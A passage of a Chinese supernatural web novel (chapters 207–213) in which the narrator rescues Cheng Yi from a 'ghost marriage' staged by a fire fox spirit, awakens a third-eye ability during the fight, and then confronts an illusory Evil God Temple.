两个大婶子一左一右,一起搀着一个人。虽然隔着一段距离,可我绝对不会看错,那赫然就是程一。 我的心里一乱,跟着就又清醒了些,现在的情况虽然云天雾地的,让人摸不着头脑,但是最起码是发现了程一的下落。现在要镇定一些,再观察观察。 程一被两个大婶子搀扶着,也不挣扎,只是直直的望着前方。那老头儿看着程一,好像很满意的样子,笑的眼睛都看不见了。 “这姑娘,可真俊啊。”老头儿斜眼看看程一,说着话的时候,哈喇子似乎都要流下来了。 “先别说这些了,时辰不是差不多了?什么都准备好了,先办正事吧。” “对对对,办正事。”老头儿转身对程一说道:“姑娘,你是不能动弹,可是耳朵还能听见声音,我和你说,你心里也不要不乐意,到了我们家,总不会亏待你的,你只管老老实实呆着就行了,以后保准有你的好日子过。” 老头儿说完这两句话,颤颤巍巍的拄着拐杖,走到了身后的山洞里,没过多久,他就使劲拖着一个人走了出来。 被老头儿拖出来的人,看起来年纪不算大,应该有个三十多岁的样子,这个人手脚都软踏踏的,靠在老头儿身上,似乎连眼皮子都不能动,看上去就和石头的状态差不多。 老头儿费了老鼻子的力气,把这个人拖到程一的身边,呼哧呼哧的喘着气,说道:“你小子有我这么个爹,真是你的好福气。来吧,趁着好时辰,赶紧拜天地,你的事儿,很快就能给你办好。” 当我听到老头儿这么说的时候,心里咯噔一声,整个人都不好了。 老头儿的话,明显透露出了一个信息,程一眼下遇到的事情,一定是鬼结亲。 所谓的鬼结亲,只是民间的说法,就是普通老百姓家里的姑娘,被什么乱七八糟的东西给弄走,然后结亲。 这种结亲,本身就不正常,而且,结亲的目的也根本不是成家过日子,一般都是要借用姑娘,去做什么事情。 有时候,遇到鬼结亲的女人,为了活下去,还会隐忍负重,只不过,真要是忍气吞声活下来,最后的结果,或许还不如直接死了干脆些。 第208章 无法忍耐 此时此刻,我心里的不安已经有点控制不住了,现在只能看到程一,没发现程白鹤还有小皮他们。 按照我的判断,程一跟程白鹤肯定是失散了,否则的话,她也不会落到现在的境地。 遇见鬼结亲的姑娘,一般都没有什么好下场。可我现在不知道具体的情况,冒然冲过去,多半是要吃亏。 “姑娘啊,咱们在这种地方,也就不讲究那么多的礼数了,大家凑在一起热闹热闹,正事就算办完,以后啊,你就留在这儿,好好过日子,不会缺你什么东西的……” 那个老头儿看起来慈眉善目的,但是发现眼前的情景是鬼结亲以后,我就隐隐的感觉到,老头儿的身躯四周,似乎有一团肉眼几乎看不出来的黑气。 鬼结亲一般都不是人弄出来的事情,这个老头儿肯定是活的,明显不是什么孤魂野鬼,我就意识到,应该是碰到民间老百姓所说的“仙家”了。 也只有仙家,最喜欢干这种事情。 我正在紧张的思索,想个比较稳妥的办法,那边杂乱的响器声就更大了一些。 两个搀扶着程一的大婶子朝旁边挪了挪,老头儿就架着那个半死不活的中年人靠了过来,让他勉强和程一并排站在一起。 这个时候,我发现程一虽然不动,也不说话,可她的眼睛却并没有停滞。 这就意味着,程一是清醒的,还没有失去意识,只不过被那个老头儿做了点手脚。 “赶紧,拜天地。” 老头儿扶着那个中年人,一旁的大婶子也用力压着程一的脖子,就这么歪七扭八的弯了几下腰。 “得了,事成了。”老头儿呵呵一笑,把中年人放到一旁,自己重新拿起拐棍,冲着周围说道:“大伙儿来捧场,这份情谊,我都记住了,那边准备了些东西,都过去热闹热闹吧。” 那两只骑着大狗的狐狸,挤眉弄眼的叫了两声,跟着就调转方向,朝着西北边一路跑过去,山背周围那些乱七八糟的玩意儿,也全都跟着两只狐狸跑远了。 刚才还一片喧闹杂乱的山背,很快就安静了下来。这时候,我更紧张了,那群乱七八糟的东西都在这儿,或许还能趁乱找到个机会,但这帮玩意儿一走,周围的环境安静了,反倒对我很不利。 一直到此刻,我依然觉得,那个老头儿没安什么好心,他不可能单纯的就是让程一在这里拜堂。 “把他扶起来,咱们啊,也准备动手吧。” 老头儿吩咐了一声,一个大婶子腾出手,把那个躺在地上的中年人扶了起来。 “姑娘啊,既然你都嫁到我们家了,也就是我家的人,什么事情,都要替这个家考虑,你看看……”老头儿指了指那个中年人,语重心长的对程一说道:“你男人命不好,前些年出了点意外,身子不能动了,也不会说话,跟个活死人一样……” 我一听到这个老头儿的话,脑袋就大了。果不其然,遇见鬼结亲,就绝对没有什么好事。 “不过姑娘,你也放心,你男人虽然不能说话不能动弹,心里头还是清亮亮的。我替你算过了,你跟你男人的五行八字都般配,以后会多福多寿。” 这老头儿从身上一摸索,就翻出来一把样子有点奇怪的刀。这把刀的一面是刀刃,另一面是非常锋利的锯齿。 老头儿端详了这把刀一眼,接着说道:“儿媳妇,现在就是要把你和你男人的头骨都打开,我这里有秘方,能把你们的脑袋接到一起。到了那时候,你男人心里想什么,就能借着你的嘴巴说出来。你们的脑袋接到一块儿去了,你脑子里想什么事,他脑子里想什么事,你们都能知道,这才是真真正正的一家人啊……” “都是一家人了,以后有什么话,有的是时间去说,现在赶紧办正事吧。”其中一个大婶子扶着那个中年人,非常吃力,小声在旁边催促。 “对对对,现在就动手。” 老头儿右手握着刀,左手一伸开,掌心噌的就冒出了一团火,他把刀子在火上来来回回烧了一会儿,算是消毒。 我本来还想着再耐着性子等一等,看看有没有什么合适的机会,一看到老头儿要动刀,我就真的等不下去了。 我咬了咬牙,随手捡了块拳头那么大的石头,那老头儿给刀子消了毒,正打算朝程一那边走过去,我屏气凝神,嗖的一下把石头扔了出去。 老头儿看起来老态龙钟的,但是反应竟然一点都不慢,石头发出呼啸的破空声,老头儿临时一侧身,石头贴着老头儿的胸口飞过去,嘭的一声,直接把他身后的那个大婶子给砸倒了。 我扔出石头的同时,已经猫着腰从旁边跑了过去,老头儿的感官真的很敏锐,我躲着不动弹,他可能察觉不到,我一动,他立刻就锁定了我的位置。 事到如今,我已经顾不上那些了,闷着头只管冲,双方的距离不算远,一通狂奔之下,我直接冲到跟前,借着前冲的惯力,一跃而起。 我的势头很猛,但老头儿的反应快,临危抽身一退,我这一脚就落空了。 此时生死悬于一线,我一点都不敢大意,我估摸着,自己不是这个老头儿的对手,只能抢占先机,跟对方死斗。 老头儿看到我的时候,楞了一下,估计是没想到会有人在这个时间出来捣乱。但这老东西见机很快,连着后退了几步,已经趁机把我上下打量了一番。 “你来坏我家的好事,真的是活的不耐烦了?” 不得不说,这老头儿表面看上去老眼昏花,但真的是个扮猪吃虎的角色,他的眼光狠毒,一番打量之后,就知道我不是什么世外高人。一时间,老头儿的胆气就足了。 我没时间跟他搭话,只能硬着头皮继续斗,我很希望程一这时候能清醒过来,多少都能帮我点忙。 就这么跟老头儿斗了一会儿,我的那点家底儿,估计全都被老头儿给摸透了,这老东西骤然开始反击。 刹那间,老头儿的两颗眼珠子似乎变的火红火红的,与此同时,我一下子就感应到,周围的气温好像骤然升高了许多,就好像自己正守着一个熊熊燃烧的大火炉。 第209章 闭目等死 这个老东西果然道行不浅,此时此刻,我能清楚的看到,原本笼罩在他身躯四周那一片很淡很淡的雾,已经变成了浅红色。 他就好像一团正在熊熊燃烧的火,径直朝我冲了过来,人还没有靠近,那种灼热的高温已经让我有点喘不过气了。 现在根本没有后退的余地,硬着头皮也要上。 老头儿跟人打斗的经验看起来也很丰富,在他反扑的同时,似乎把我所有的退路都给封死了。但是我根本就不后退,当老头儿扑过来的那一瞬间,我强忍着那片灼热的高温,捏着一块石头,迎头也冲了上去。 老头觉得我肯定要躲闪的,等到双方碰面的那一瞬间,我感觉自己的头发眉毛似乎都被烧焦了,但我等的就是这个机会,抓着手里的石头,用尽全力砸了过去。 对方显然没想到我还有还手的力量,老头儿的瞳孔猛然一阵收缩,不等他闪身后退,我手里的石头已经重重落在他的脑门上。 嘭的一声,老头儿整个人就好像变成了一团燃烧的火,这一石头砸下去,火星四溅,晃的人睁不开眼睛。目光朦胧之间,我隐隐约约看到,老头儿的身躯好像变成了一只满身红毛的东西。 本以为这一下我占据了主动,但是石头砸中对方的同时,反震的力量顿时让我站不稳脚,踉跄着后退出去。 老头儿倒退出去之后,身躯四周的火光减弱了一些,他又恢复了原来的样子,只不过这一次老头儿的惊讶之中,还有无尽的恼怒,头也不回的挥了挥手,身后的两个大婶子急忙就拖着程一还有那个半死不活的中年人,直接退回到了小山洞里。 看到程一被拖了回去,我心急如焚,但这个老头儿挡在前面,始终都像是一道鸿沟,不把他给打倒,就不可能救出程一。 这一次,老头儿就谨慎了些,他看上去其貌不扬,但实力真的是很强,一旦谨慎面对,我几乎就找不到任何的机会。 呼的一声,老头儿接着又扑了过来,他一动,身躯外面那片缭绕的火光就变的很强盛,而且,老头儿的身影在视线中也逐渐虚化了些,前一秒看着是个老头儿,后一秒就又像是一只满身红毛的怪东西。 我不敢再硬着头皮硬扛了,步步后退。山背这边只有一片平坦的地面,等退的远了,脚下的地势就变的崎岖不平,面对老头儿这样的高手,我丝毫不敢分心,一边后退,一边和对方揪斗,不知不觉间,就退出去了足足有二三百米远。 我感觉越来越不好,老头儿本身就不简单,刚才从这里散去的那些乱七八糟的玩意儿要是临时赶回来,情况就更糟糕了。 就在我忧心忡忡,全神贯注对付老头儿的时候,脚下突然就被一块石头给绊了一下,我的注意力一直很集中,这么一绊,立刻就收不住脚了,仰面摔倒在地。 强敌就在面前,步步紧逼,我连翻身爬起来的机会都没有,手脚并用的撑着身躯朝后面急速的挪动。 我朝后面挪动一点,老头儿就逼近一点,大概退了十多米之后,我的后背撞在了一堆乱石上,再也没有退路可走了。 就在我被挡住的那一瞬间,老头儿终于抓住了机会,身躯像是一团呼啸的火焰,硬撞了过来,我躲闪不开,胸口就如同被一块烧红的铁锤给砸了一下,眼前顿时一黑,觉得想吐血。 我还没有喘过这口气,老头儿唰的举起了那把刀子,这把奇形怪状的刀子锋芒迫人,我抬手想要挡住老头儿的胳膊,但刚才被重击了一下,手臂软绵绵的,连平时一半的力气都使不出来。 力量不足,就挡不住老头儿的攻击,他握着那把刀子,死命的朝我的右眼扎了过来。我的双手一下子攥着老头儿的手腕,全力反击。 可是,我的力量短时间内是无法完全恢复的,眼看着刀尖距离我的右眼越来越近,我就感觉浑身上下的汗毛一根根直立了起来,身躯中所有的力量似乎一下子涌到了双臂上。 老头儿也在玩儿命,急于把我给弄死,我拼命的反抗,他就拼命的举刀压下来。我觉得有点气短,要是一直这么僵持下去,一旦坚持不住,那把刀就会洞穿我的眼睛。 情急之下,我用力一抬手臂,同时扭了扭头。我没把老头儿给掀起来,手臂一软,对方的刀直接就刺了下来。 我下意识的缩了缩脖子,刀尖一偏,一下子刺在了我的额头上。 人额头上的骨头,是全身上下最坚硬的,用普通的刀子去刺,即便用尽全力,也不太可能把骨头给洞穿。但是,老头儿手里那把刀,似乎专门是刺穿皮肉骨头的,我能感觉到一股迫人的锋芒,噗的一声,直接扎到了我额头的骨头上面。 这一瞬间,我就有种脑袋被人硬生生给劈开的感觉,鲜血唰的一下子就流了下来,模糊了双眼。 像我们这样的人,行走在外,有时候跌打损伤或者跟人殴斗产生的外伤是不可避免的,大家本已经习以为常了,只要不是伤到了骨头或者内脏,一般都是用点药,休息一段时间,没什么大不了的。 我以前也受过伤,可是从来没有任何一次和现在的感受一样,我觉得自己浑身上下的精气神,仿佛都随着这一刀流失殆尽。 我不知道老头儿的刀子是不是真的把我的额骨给彻底的刺穿了, 脑袋一瞬间就陷入了一种难以忍受的昏沉和混乱中。 我连动弹的力气都没有,鲜血顺着眼眶和脸颊流淌下来,老头儿看见我就剩下半口气,终于松懈了一些,拿着刀子喘了口气。 “敢来坏我的事,你还想活着从这儿走回去么?小子,把命留下吧!” 老头儿举着刀子,冲着我的脖子就划了下来,这么锋利的刀,连骨头都能刺穿,更不要说是血肉之躯。我想反抗,但现在的状况真的是无法预料的,整个人就好像瘫软了一样。 我忍不住闭上眼睛,就从我卷入这个事件之后,经历过了很多次艰难险阻,我没想到,自己会死在这个时间,这个地点。 我没有反抗的余力,本已经闭目等死了,可是,闭上眼睛之后,面前的老头儿似乎又没有反应了,那一刀,始终都没有再刺下来。 第210章 半开的天眼 我等了几秒钟,那一刀始终没有刺下来,我的双眼已经被鲜血给糊住了,抬手擦了一下眼睛。 我只是下意识的轻轻抬了抬手,在视线恢复的那一瞬间,就看见面前的老头儿仿佛见了鬼似的,嗖的一下子退出去了好几步远。 他的手里,仍旧握着那把刀子,本来他已经占据了上风,转手就能把握置于死地。但关键时刻,这老东西并没有下手,相反,我感觉他的眼神里,似乎有一种难言的惊恐。 “你……你到底是什么人……” 趁着这个老东西惊疑不定的时候,我翻身爬了起来,刚才那一刀,的确刺伤了我的额头,现在唯一不确定的是,那一刀究竟有没有刺穿头骨。 我觉得额头上很疼,那种疼是一种崩裂般的疼痛,好像 整颗脑袋随时都会裂开。不过,我已经承受过更加痛苦的事,这些痛楚还不至于让我失去反击的能力。 老头儿拿着刀,在缓缓的后退,同时双眼目不转睛的注视着我。他的眼神里,还是有一种难言的惊疑,就好像是大白天突然见了鬼似的。 到了这时候,我突然感觉,这个老头儿似乎有点怕我。而且,那种怕绝对不是伪装出来的,他刚才就占据了上风,完全用不着再耍什么猫腻。 此时此刻,我也顾不上那么多了,既然对方已经出现了惧怕,那我就要抓住这个机会。我强忍着额头上的疼痛,一步一步的朝前走。等到双脚迈动之间,我就觉得有点不妙。 刚才额头上那一刀,不仅刺穿了我的皮肉和骨头,好像把我的体力都耗尽了,我感觉自己的双腿沉甸甸的,每走出一步,都要耗费很大的力气。 要是按照这种趋势进行下去,我肯定追不上老头儿,更不要说救出程一了。 “把人……把人放了……” 我勉强加快了一点速度,可是两条腿依然是沉甸甸的,那个老头儿的惊惧,在这一刻仿佛是达到了顶点,猛然一转身,朝着小山洞那边跑了过去。 我虽然走的很慢,可还是不想放弃心里的执念,程一危在旦夕,要是真的再被那个老头儿给带走,我就不知道该去哪儿找她了。 我浑身上下的力气,仿佛都凝聚到了一起,想要全力前行,但是仅仅走出去两步,额头上的伤口又一次流下一串鲜血,把双眼重新给糊住了。 我迫不得已的闭上眼睛,在我闭上眼睛的那一刻,隐隐约约听到自己的额头上好像传出了嘎吧一声轻响。 这一声轻响就好像是晴天霹雳,那种脑袋要崩裂的感觉更加强烈,我伸手想要再次把糊住眼睛的血迹给擦掉,但手一抬起来,脑袋仿佛轰隆的一声炸开了。 我能感应到,自己的脑海在翻滚,就如同一片无尽的汪洋,一瞬间就掀起了惊涛骇浪。 随着巨浪的卷动,很多原本滞留在汪洋深处的东西,似乎缓缓的被牵带了出来。 我的脑子以前也混乱过好几次,每一次混乱,总是能在冥冥中看到一些自己似乎没有经历过的事情。但是这一次却不一样,我什么都没有看到,只是感觉到,一种无形的力量,从汪洋的深处翻转了上来。 与此同时,我还感应到了一种心境上的升华。我们白八门的人会经常接触到一些有道行的人,拳脚功夫和道行,完全是两码事,要是单纯的去练拳脚功夫,只要肯用功,肯吃苦,都能把胳膊练的比大腿都粗。 但是那些修行道行的人却不一样,修的是感悟,是心境,如果没有天赋,或者说不能突破升华自己的心境,那么境界就永远无法提升一个台阶。 这也是有功夫的人,远比有道行的人多的多的缘故。 我跟着师傅以后,他就教我了一些拳脚功夫,那些神神鬼鬼的玩意儿,师傅没有提过,所以,这一块一直是我的软肋,遇见有道行的人,或者是什么东西,就会束手无策。 修行是个漫长的过程,绝对不是一蹴而就的,尤其是我这种毫无根基的人。 然而,在这短暂的一瞬间,我觉得自己的心境,仿佛在不断的升华,一种一种不同的心境,层层叠叠的在心头绽放。 心境在不断的变化,每一次变化,就好像自己刚刚从漫长的苦修感悟中得到了进境。 而且,脑海汪洋中那种无形的力量,一下子就顺着我的身躯蔓延到了四肢躯干中。 我内心的深处,感觉说不出的惊讶,因为练功这种事情是最没有捷径可走的,自己付出了多少努力,就会有多少收获。可就这么短短的弹指间,一种全新的心境携带着滚滚的力量,顿时把我浸润在其中。 这好像都是隐藏在脑海深处的东西,如同上了一把沉重的锁,从小到大,我都没有发现过。等这时候它们一起涌动出来,我整个人宛若脱胎换骨似的。 我眼睛上的鲜血还没有被抹去,眼睛睁不开,肯定看不到什么东西。然而,在这股力量涌动的同时,我仿佛感应到了一片昏沉的景象。 这片景象不是虚无的,就是身前这片山背后的平地的景象,我甚至还能看到正在全力朝着山洞洞口冲过去的老头儿。 这老东西肯定不是什么善物,我之前始终没能看清楚他的真面目,一直到此刻,我连眼睛都没睁开,却隐隐约约能看到,老东西是一只浑身长着红毛的狐狸。 它身躯四周的毛就如同一团正在燃烧的火,连蹦带蹿的朝着洞口跑,一转眼就冲到洞口跟前,刺溜一下钻了进去。 我的意识在逐渐的恢复,抬手擦掉眼睛上的血迹,等再次睁开眼的时候,之前那种疲惫无力的沉重感,已经一扫而空,浑身上下澎湃着一股充沛的力量。 这真的是件很奇怪的事情,只不过现在顾不上那么多了,最要紧的还是赶紧救出程一。我连想都没想,迈步冲到了山洞的洞口。 这个山洞的洞口小,表面看起来,应该不大,但是真正走到跟前的时候,才发现山洞里面应该空间不算很小。 现在正是深夜,尤其在山背的山洞里面,黑的伸手不见五指。要是放到以往,凭我的肉眼肯定看不清楚山洞中的情景。 我还记得刚才闭上眼睛之后“看”到的模糊的场景,我不知道这是怎么回事,临危之时,却还是想要试一试。 我站在洞口跟前,不由自主的闭上了眼睛,在我闭上眼睛的同时,奇迹又一次发生了。 我额头上的那道伤口,活脱脱的像是一只眼睛,尽管双眼已经完全闭上,却还是能看到山洞里一团一团模模糊糊的影子。 第211章 绝境反击 山洞里的那些影子若隐若现,我还没来得及迈步跨入,影子呼啦啦的就消失在了一片深邃的黑暗中。 整个山洞立刻陷入了绝对的死寂,没有一点声音,这种声音是会让人产生深深的恐惧的,但我没有后退的余地。程一他们肯定就在这里,而且,我不敢保证山洞是否有别的隐蔽的出口,为了抢在前头找到程一,就必须要抓紧时间。 这片黑暗用肉眼根本看不透,额头上面那道如同竖眼一样的伤口,现在就派上了大用场,最起码可以感应到大概的情况,我身上没有别的武器,就攥着一块石头,一步跨入了洞中。 这个小山洞里面,真的是别有洞天,里面乱七八糟摆着很多东西,我用额头上的伤口只能看出个模糊的轮廓,慢慢的朝洞的深处走。 按照我目前所看到的情景去判断,程一和那个老头儿,还有别的人都不见了,几个大活人不可能就这么消失,所以,这个山洞里应该还有别的出路。 我慢慢的走了一圈,这山洞看着像是老头儿平时居住的地方,也像是他修行的道场,反正很乱,我把山洞大概走了一遍,的确没有看到一个人。 就在这时候,我模模糊糊的看到,在右边的山洞洞壁上,有一个大概一米多高的小门,很显然,这道小门的里面,也有可以容身的空间。 我全神贯注的靠近这道小门,此时此刻,我的状态真的有点奇怪,身上似乎一直涌动着一股并不属于我的力量。在额头那道伤口还有这股力量的加持下,我的底气比平时足多了,再加上救人心切,在小门外面观察了一下,就准备迈步进去。 小门里面,也是黑咕隆咚的一片,只能隐约感应到,这里的杂物不是很多,小小的空间里显得比较空荡。 小门的后面肯定没人,我也察觉不到什么危险的气息。我觉得,这个小山洞被老头儿改造的四通八达,小门后面的空间里,说不定还有连接到别的地方的通道。 老头儿他们,应该就是从别的通道溜走了。 一想到这儿,我心里就有点急躁,生怕追不上他们,迈步就朝前走。 当我走到小门后那片空间的中心时,一只脚刚迈出去,立刻就觉得触感不对。脚下的地面似乎微微的朝下陷了一点,这片小空间的地面上铺着一层很结实的夯土,我根本没想到会出现这种情况,想要临时收脚,已经来不及了。 果然,我的脚随即就踩空了,身体立刻失去了平衡,看着很结实的夯土下面是空的。 这片夯土崩裂的那一瞬间,我立刻感觉到下面传来了一股热浪,与此同时,一片熊熊的火焰像是从地底猛然钻了出来。 我的身体已经失去平衡,快要掉下去的时候,伸手就扒住了夯土坑的边缘,不由自主的睁开了眼睛。 坍塌的夯土下面,有一座很大的铜炉,铜炉里面的火燃烧的正旺。这种火肯定不是普通的火,整个铜炉已经被烧的红彤彤的,那种灼热的气浪似乎都能把人给融化。 要是掉到铜炉里面,后果可想而知。 我的双手扒着夯土坑的边缘,身躯彻底的悬空了,我身上的力气很足,想要先翻身爬上去。然而,土坑的边缘承受不住我这一百多斤的体重,刚刚一用力,边缘哗啦一下又塌了。 如此一来,我不由自主的就坠落下去,下面的铜炉通红通红的,我顿时急了,猛然一咬牙,腰身在半空一拧,拼尽全力,一条腿踩着铜炉的边缘,纵身朝旁边一跳。 这个小小的空间几乎被中间那个铜炉给占满了,四边只留下了不足两米宽的边缘,我刚刚跳下来,铜炉里的火焰呼啦一下,铺天盖地的充斥在整个空间里。 此时此刻,我连躲避的地方都没有,四周到处都是火,而且,这个地方暂时看不到别的出口,要是一直闷在这儿,就算力气再大,肯定也会死。 我不断的四处躲闪,想要避开如同长龙一般翻滚的火,可是,汹涌的火焰就仿佛是长了眼睛,我躲到哪里,火就跟到哪里。 如果放到过去,遇见这样的情况,我可能连思索的时间都没有,但现在和之前不同了,在这么危险的境地下,我的心神奇迹般的保持着一定的镇静。 火这种东西,如果没有人为的力量,是绝对不可控的,尤其在这样没有风的密闭空间内,不可能老是追着我跑。 唯一的解释就是,一定有人在暗中操控铜炉里的火焰。 这时候,一团汹涌的火团迎面扑来,我一侧身,紧紧的贴着墙壁,灼热的火团呼啸而过。我转身的同时,随即微微闭上了眼睛,额头上那道伤口,又一次像是竖眼一样,让我感应到了一片朦胧的景观。 到处都是通红的火,似乎除了这只铜炉和肆虐的火苗之外,就再也没有别的东西了。但是,在这片火海间,有一团若隐若现的影子。 那团影子和火焰的颜色一模一样,混杂在这么混乱的环境里,让人无法察觉出来。如果不是额头上的伤口,我肯定看不到这团影子。 当这团影子的轮廓显现出来之后,就逐渐的清晰些,随即,我辨认出,这就是那个长着一身红毛的老东西。我的判断没错,肯定是他在暗中操控铜炉里的火。 一发现这个老东西,我不顾一切的冲了过去,这时候,我的处境其实也非常危险,根本没有留手的余地。 空间不大,我三两步就冲到了那团影子的附近。影子四周全都是火,我咬紧牙关,一拳怒击了出去。 这一拳勃发出的力量,连我自己都想象不到,拳头仿佛一下子把周围的火焰逼退了,老东西的身影立刻从火中呈现出来。拳头如同一道雷霆,嘭的落在老东西的脑门上,直接把它给打飞了出去。 老东西撞在后面的墙壁上,又重重摔落在地,我一个箭步冲上去,没等它翻身,一把就按住了它的脖子。 第212章 今非昔比 我掐住老东西的脖子就不肯松手了,那么大的力气,老东西被掐的直翻白眼。 一直到这时候,我才分辨出来,这老家伙是一只很罕见的狐狸。身上的毛和火一样红彤彤的,而且整个身子就如同一个正在燃烧的小火炉,热的烫手。 要是我没看错,这只狐狸是依托天地五行来修行的,是一只火狐狸。 我生怕对方会再耍什么花样,手里又加了两分力,火狐狸不知道是不是承受不住了,白眼一翻,直接就不动弹了,像是昏死过去了一样。 我微微松了口气,刚想放手,但心里的念头一转,就有种很强烈的警觉感。 我立刻改变了主意,这只火狐狸不管是不是真的昏死了,现在都不能放松警惕。我反手把他给抓了起来,二话不说,直接就按到了那只铜炉上。 空间里的火焰现在已经全都缩回到了铜炉里,铜炉恢复了暗红色,温度依然高的吓人,我把火狐狸按到铜炉上之后,对方暂时没什么反应。 但我还是没有松懈,这玩意儿就是靠着地脉五行修行的,身处烈焰之中都浑然不觉,不把情况敲实了,我肯定不放心。 我死死的按着火狐狸,同时抬眼在周围看了看。这个小洞里,应该真的没有别的出路了。 铜炉旁边的温度太高,我也有些吃不消,过了两三分钟,火狐狸还是一动不动,我觉得,他可能真的昏死了。 就在我想要收手的那一瞬间,火狐狸的两条后腿突然触电一般的动了动,随即就睁开眼睛,拼命的想要从铜炉上脱离下来。这老东西果然会伪装,硬撑了两三分钟,最后还是耐不住灼热的铜炉,终于露馅了。 “放……放……放了我……” 火狐狸在拼命的挣扎,我现在也害怕真的把他给弄死,程一的处境或许就会更危险。我抓着火狐狸收回手,还是死死的按着他的脖子。 “上仙……上仙饶命……”火狐狸这时候完全停止了挣扎,眼神里不仅惶恐,而且畏畏缩缩的。 “你别耍花招,否则,会死的很惨。” “不敢……不敢耍花招,上仙,我先前真不知你的底细,要知道是上仙驾临了,说什么都不敢跟上仙动手……” 火狐狸这时候可怜巴巴的,应该是真的老实了,我把手松了松,问道:“你抓来的那个姑娘,现在被弄到哪儿去了?” “那可不是……不是我抓来的啊,是在这边碰见的……” 我不知道火狐狸说的是真是假,但程一他们在平安集那边出了事,一路奔逃,如果她身上有伤,估计到这里就跑不动了,恰好被火狐狸给遇见。 一想到这儿,我心里就不由自主的一阵后怕,幸亏这次发现的及时,否则,程一的下场一定会很惨。 火狐狸真的是服帖了,一动都不敢动,时不时的偷偷看我两眼,依然战战兢兢的。 火狐狸冲着上面喊了两声,过了片刻,上头就慢慢的传下来一架梯子,我架着火狐狸朝上面爬,等上去之后,我就发现在这片坍塌的夯土后面,还有一道非常隐蔽的小门,那两个丑里丑气的大婶子,正在门边小心翼翼的朝这边张望。 大婶子把程一带了出来,程一看上去精神很差,而且身上还有伤。 我瞥了瞥火狐狸,这老东西看到我的目光,立刻缩了缩脑袋。 这时候,我心里是有些奇怪的,火狐狸好像很怕我,那种怕,肯定不是装腔作势。 我有几斤几两,自己心里有数。火狐狸要是真怕我,最开始就不会跟我动手。 一想到这儿,我就感觉额头上的伤口,有一种很异样的感受,明明伤口见了血,而且很可能刺穿了骨头,可我现在却感觉不到疼。 “你刚才跑什么?你拿刀子伤到了我,你还畏畏缩缩的?” “我真不知道是上仙驾临,要是知道了,给我十个胆子……我也不敢冒犯上仙……” “我是个人,不是什么上仙。” “是是是……不论是人,还是上仙,都是我遥不可及的,怪我有眼无珠,上仙宽宏大量,就饶过我这一次吧……” 我看着火狐狸的确是老实了,就稍微放下心,跟程一说了几句话。 我看的出来,程一很委屈,面对我的时候,眼眶里都是泪水。但火狐狸和那两个大婶子都在旁边,程一不想当着他们多说什么。 我也不愿意在这个地方久留,让火狐狸他们老老实实呆在洞里,自己带着程一快速离开了这儿。 我们俩一口气走出去很远,此时此刻,我的感应比之前灵敏了很多,额头上的伤口始终都像是一只无形的眼睛,在感应着先前所感应不到的情况。 我确定,火狐狸可能真的害怕了,一直没敢再跟过来。 “程一,你们家到底是遇见什么麻烦了?” 程一的眼泪一直都在眼眶里打转,等脱离了危险,我这么一问,她似乎再也承受不住了,泪水顺着脸颊就流淌了下来。 “是邪神庙的老杂毛,还有那辆马车……” “什么?”我一下子皱起了眉头:“是他动的手?” “是……” 我一直觉得,程白鹤家里如果出事的话,那多半是七爷还有郭家旁支做的手脚,可我万万没有想到,会是邪神庙的老杂毛。 老杂毛上次到平安集,分明就是找七爷的麻烦的,他和程家没有什么过节,怎么可能平白无故的对程家下手?而且,程一家里这次出事,是大事,对方明显是要把一家人都给整死的。 出事之前,程一他们也根本没有想到,会是邪神庙的老杂毛动的手,当时的情况很紧急,老杂毛又是驾驭着那辆马车出现的,马车上,依然装着那只木头箱子。 程一一照面就受了伤,脑袋也被重重的磕了一下,她模模糊糊的记得,是程白鹤拼了命带着她逃,一直逃出了县城。 等程一再醒过来的时候,程白鹤已经不见了,自己的母亲,外加小皮,也都不知去向。 第213章 幻境钟声 听程一讲述完了大概的经过,我心里就有种不祥的预感。程白鹤把程一当成心头肉,如果不是万不得已,他绝对不会丢下程一,自己先走。 唯一可能的就是,程白鹤拼死带着程一逃出来,在县城外的荒野上,必然又遭遇了追击,为了保住程一的命,程白鹤只能把程一藏起来,自己去吸引敌人的注意力。 我能猜到这些,可是,却始终猜测不到,邪神庙的老杂毛为什么会冲着程家动手。 “程一,你身上有伤,先不要想那么多,我带你走,等安顿好了,再想办法去找你父亲和小皮他们。” “我爹还有小皮,还能找得到吗……” 程一一直眼泪汪汪的,让我的情绪也很低落伤感。我心里很清楚,自己现在最应该做的,是想法子先保自己的命。 可是,一看到程一的样子,我的心就软了,想着暂时打乱一下自己的计划,带程一找个地方住下来,然后全力帮她找找程白鹤还有小皮的下落。 这么做一定会影响我自己的事情,但现在也顾不上那么多了。 我一边走,一边安慰程一,时常还要注意身后有没有什么风吹草动。程一是个姑娘,但是出身在万花门这种地方,她的见识要比普通人多,很多事情,程一也能想明白。 “五满,你不用管我了。”程一的情绪似乎平静了一点,她自己擦掉了眼角的眼泪,慢慢抬起头,说道:“你自己也有要紧事,我们家出了事情,我会料理。” “你怎么料理?都到了这地步了,你还要跟我客气。” “我不是那个意思,只是……你现在要保自己的命,我不能耽误你。” “别说了,我心里有分寸,你放心吧……” 我已经做好了打算,肯定要先顾着程一,正在跟她解释,突然间,我后背上就感应到了一股森森的寒意。 我一直都在严密的观察周围的动静,唯恐火狐狸会不死心,悄悄尾随过来,这股莫名其妙的寒意出现的同时,立刻就被我察觉了。 我猛然回过头,想要看看是不是火狐狸尾随过来了,但是,当我转过头的那一瞬间,原本还星月明朗的天空,一下子就黑了。 头顶的天空似乎突然扣上了一口大黑锅,月光消失无踪。我回头看了一眼, 头皮立刻一麻。 在一片昏沉之中,身后不知道什么时候多出了一座邪神庙。这座邪神庙,就是之前我和程一去过的那一座,我不会记错。 我本来以为身后传出了动静,很可能是火狐狸过来了,但是看到邪神庙,我就知道肯定不是火狐狸。凭着火狐狸的本事,还没办法做到这一点。 难道是邪神庙的老杂毛? 我的心一下子悬到了嗓子眼,老杂毛不久之前刚对程家下过手,他没能抓到程一,估计不会就这么善罢甘休。 如果放到过去的话,在这个时间这个地点看见邪神庙,我很可能又会陷入一片混乱之中。但现在情况不同了,我看了几眼之后,脑子依然非常的清醒。 而且,我内心最深处很快就升腾起一个念头,这座邪神庙必然只是幻境,现在要做的就是弄清楚,是不是老杂毛在操控这片幻境。 邪神庙静静的矗立在身后,从表面上看,看不出任何的破绽。我还能听到,邪神庙里面似乎传来了一阵一阵很轻微的诵经声,就仿佛有人在低声念诵一篇晦涩的经文。 静静矗立的邪神庙,还有嗡嗡作响的诵经声,能带给人极大的影响,不知不觉间,身后的程一已经呆住了,直直的望着邪神庙,眼神一下子就空洞呆滞。 